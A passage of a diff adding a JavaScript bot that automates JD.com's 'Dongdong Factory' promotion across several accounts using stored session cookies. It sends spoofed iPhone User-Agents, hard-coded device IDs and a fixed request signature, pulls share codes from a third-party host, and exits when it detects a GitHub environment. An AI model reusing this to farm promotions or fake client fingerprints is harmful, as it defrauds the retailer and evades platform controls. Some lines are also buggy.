item.couponCount; + name = item.name; + } + if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { + wantProductSkuId = item.skuId; + } + } + // console.log(`\n您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n`); + if (wantProductSkuId && ((remainScore * 1 + useScore * 1) >= (totalScore * 1 + 100000))) { + console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore + 100000}`); + console.log(`请去活动页面更换成心仪商品并手动投入电量兑换\n`); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n更换成心仪商品并手动投入电量兑换`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面更换成心仪商品并手动投入电量兑换`); + } else { + console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n不满足兑换心仪商品的条件\n`) + } + } else { + console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称,否则满足条件后会为您兑换当前所选商品:${name}\n`); + if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { + console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore}`); + console.log(`BoxJs或环境变量暂未提供心仪商品,下面为您目前选的${name} 发送提示通知\n`); + // await jdfactory_addEnergy(); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面查看`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请速去活动页面查看`); + } else { + console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【不满足】兑换此商品所需总电量:${totalScore}`) + console.log(`故不一次性投入电力,一直放到蓄电池累计\n`); + } + } + } else { + console.log(`\n此账号${$.index}${$.nickName}暂未选择商品\n`); + message += `京东账号${$.index} ${$.nickName}\n`; + message += `已选商品:暂无\n`; + message += `心仪商品:${wantProduct ? wantProduct : '暂无'}\n`; + if (wantProduct) { + console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); + await jdfactory_getProductList(true); + let wantProductSkuId = '', name, totalScore, couponCount, remainScore; + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > - 1) { + totalScore = item['fullScore'] * 1; + couponCount = item.couponCount; + name = item.name; + } + if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { + wantProductSkuId = item.skuId; + } + } + if (totalScore) { + // 库存存在您设置的心仪商品 + message += `心仪商品数量:${couponCount}\n`; + message += `心仪商品所需电量:${totalScore}\n`; + message += `您当前总电量:${$.batteryValue * 1}\n`; + if (wantProductSkuId && (($.batteryValue * 1) >= (totalScore))) { + console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${$.batteryValue * 1},【满足】兑换此商品所需总电量:${totalScore}`); + console.log(`请去活动页面选择心仪商品并手动投入电量兑换\n`); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面选择此心仪商品并手动投入电量兑换`); + } else { + console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${$.batteryValue * 1}\n不满足兑换心仪商品的条件\n`) + } + } else { + message += `目前库存:暂无您设置的心仪商品\n`; + } + } else { + console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称\n`); + await jdfactory_getProductList(true); + message += `当前剩余最多商品:${$.canMakeList[0] && $.canMakeList[0].name}\n`; + message += `兑换所需电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n`; + message += `您当前总电量:${$.batteryValue * 1}\n`; + if ($.canMakeList[0] && $.canMakeList[0].couponCount > 0 && $.batteryValue * 1 >= $.canMakeList[0] && $.canMakeList[0].fullScore) { + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + if (new Date(nowTimes).getHours() === 12) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0] && [0].name}所需总电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0].name}所需总电量:${$.canMakeList[0].fullScore}\n请速去活动页面查看`); + } + } else { + console.log(`\n目前电量${$.batteryValue * 1},不满足兑换 ${$.canMakeList[0] && $.canMakeList[0].name}所需的 ${$.canMakeList[0] && $.canMakeList[0].fullScore}电量\n`) + } + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + const helpRes = await jdfactory_collectScore(code); + if (helpRes.code === 0 && helpRes.data.bizCode === -7) { + console.log(`助力机会已耗尽,跳出`); + break + } + } +} +async function doTask() { + if ($.taskVos && $.taskVos.length > 0) { + for (let item of $.taskVos) { + if (item.taskType === 1) { + //关注店铺任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.followShopVo) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 2) { + //看看商品任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.productInfoVos) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 3) { + //逛会场任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 10) { + if (item.status === 1) { + if (item.threeMealInfoVos[0].status === 1) { + //可以做此任务 + console.log(`准备做此任务:${item.taskName}`); + await jdfactory_collectScore(item.threeMealInfoVos[0].taskToken); + } else if (item.threeMealInfoVos[0].status === 0) { + console.log(`${item.taskName} 任务已错过时间`) + } + } else if (item.status === 2){ + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 21) { + //开通会员任务 + if (item.status === 1) { + console.log(`此任务:${item.taskName},跳过`); + // for (let task of item.brandMemberVos) { + // if (task.status === 1) { + // await jdfactory_collectScore(task.taskToken); + // } + // } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 13) { + //每日打卡 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 14) { + //好友助力 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + // await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 23) { + //从数码电器首页进入 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + await queryVkComponent(); + await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + } + } +} + +//领取做完任务的奖励 +function jdfactory_collectScore(taskToken) { + return new Promise(async resolve => { + await $.wait(1000); + $.post(taskPostUrl("jdfactory_collectScore", { taskToken }, "jdfactory_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + console.log(`领取做完任务的奖励:${JSON.stringify(data.data.result)}`); + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//给商品投入电量 +function jdfactory_addEnergy() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_addEnergy"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`给商品投入电量:${JSON.stringify(data.data.result)}`) + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//收集电量 +function jdfactory_collectElectricity() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_collectElectricity"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`成功收集${data.data.result.electricityValue}电量,当前蓄电池总电量:${data.data.result.batteryValue}\n`); + $.batteryValue = data.data.result.batteryValue; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取任务列表 +function jdfactory_getTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_getTaskDetail", {}, "jdfactory_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + $.taskVos.map(item => { + if (item.taskType === 14) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${item.assistTaskDetailVo.taskToken}\n`) + } + }) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//选择一件商品,只能在 $.newUser !== 1 && $.haveProduct === 2 并且 sellOut === 0的时候可用 +function jdfactory_makeProduct(skuId) { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_makeProduct', { skuId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`选购商品成功:${JSON.stringify(data)}`); + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryVkComponent() { + return new Promise(resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=queryVkComponent`, + "body": `adid=0E38E9F1-4B4C-40A4-A479-DD15E58A5623&area=19_1601_50258_51885&body={"componentId":"4f953e59a3af4b63b4d7c24f172db3c3","taskParam":"{\\"actId\\":\\"8tHNdJLcqwqhkLNA8hqwNRaNu5f\\"}","cpUid":"8tHNdJLcqwqhkLNA8hqwNRaNu5f","taskSDKVersion":"1.0.3","businessId":"babel"}&build=167436&client=apple&clientVersion=9.2.5&d_brand=apple&d_model=iPhone11,8&eid=eidIf12a8121eas2urxgGc+zS5+UYGu1Nbed7bq8YY+gPd0Q0t+iviZdQsxnK/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC+PFHdNYx1A/3Zt8xYR+d3&isBackground=N&joycious=228&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=TF&rfs=0000&scope=11&screen=828*1792&sign=792d92f78cc893f43c32a4f0b2203a41&st=1606533009673&sv=122&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJFKw5SxNDrZGH4Sllq/CDN8uyMr2EAv+1xp60Q9gVAW42IfViu/SFHwjfGAvRI6iMot04FU965+8UfAPZTG6MDwxmIWN7YaTL1ACcfUTG3gtkru+D4w9yowDUIzSuB+u+eoLwM7uynPMJMmGspVGyFIgDXC/tmNibL2k6wYgS249Pa2w5xFnYHQ==&uuid=hjudwgohxzVu96krv/T6Hg==&wifiBssid=1b5809fb84adffec2a397007cc235c03`, + "headers": { + "Cookie": cookie, + "Accept": `*/*`, + "Connection": `keep-alive`, + "Content-Type": `application/x-www-form-urlencoded`, + "Accept-Encoding": `gzip, deflate, br`, + "Host": `api.m.jd.com`, + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": `zh-Hans-CN;q=1, en-CN;q=0.9`, + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log('queryVkComponent', data) + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询当前商品列表 +function jdfactory_getProductList(flag = false) { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getProductList'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.canMakeList = []; + $.canMakeList = data.data.result.canMakeList;//当前可选商品列表 sellOut:1为已抢光,0为目前可选择 + if ($.canMakeList && $.canMakeList.length > 0) { + $.canMakeList.sort(sortCouponCount); + console.log(`商品名称 可选状态 剩余量`) + for (let item of $.canMakeList) { + console.log(`${item.name.slice(-4)} ${item.sellOut === 1 ? '已抢光':'可 选'} ${item.couponCount}`); + } + if (!flag) { + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > -1 && item.couponCount > 0 && item.sellOut === 0) { + await jdfactory_makeProduct(item.skuId); + break + } + } + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function sortCouponCount(a, b) { + return b['couponCount'] - a['couponCount'] +} +function jdfactory_getHomeData() { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + // console.log(data); + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.haveProduct = data.data.result.haveProduct; + $.userName = data.data.result.userName; + $.newUser = data.data.result.newUser; + if (data.data.result.factoryInfo) { + $.totalScore = data.data.result.factoryInfo.totalScore;//选中的商品,一共需要的电量 + $.userScore = data.data.result.factoryInfo.userScore;//已使用电量 + $.produceScore = data.data.result.factoryInfo.produceScore;//此商品已投入电量 + $.remainScore = data.data.result.factoryInfo.remainScore;//当前蓄电池电量 + $.couponCount = data.data.result.factoryInfo.couponCount;//已选中商品当前剩余量 + $.hasProduceName = data.data.result.factoryInfo.name;//已选中商品当前剩余量 + } + if ($.newUser === 1) { + //新用户 + console.log(`此京东账号${$.index}${$.nickName}为新用户暂未开启${$.name}活动\n现在为您从库存里面现有数量中选择一商品`); + if ($.haveProduct === 2) { + await jdfactory_getProductList();//选购商品 + } + // $.msg($.name, '暂未开启活动', `京东账号${$.index}${$.nickName}暂未开启${$.name}活动\n请去京东APP->搜索'玩一玩'->东东工厂->开启\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + } + if ($.newUser !== 1 && $.haveProduct === 2) { + console.log(`此京东账号${$.index}${$.nickName}暂未选购商品\n现在也能为您做任务和收集免费电力`); + // $.msg($.name, '暂未选购商品', `京东账号${$.index}${$.nickName}暂未选购商品\n请去京东APP->搜索'玩一玩'->东东工厂->选购一件商品\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + // await jdfactory_getProductList();//选购商品 + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://transfer.nz.lu/ddfactory`, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = $.isNode() ? require('./jdFactoryShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000, + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 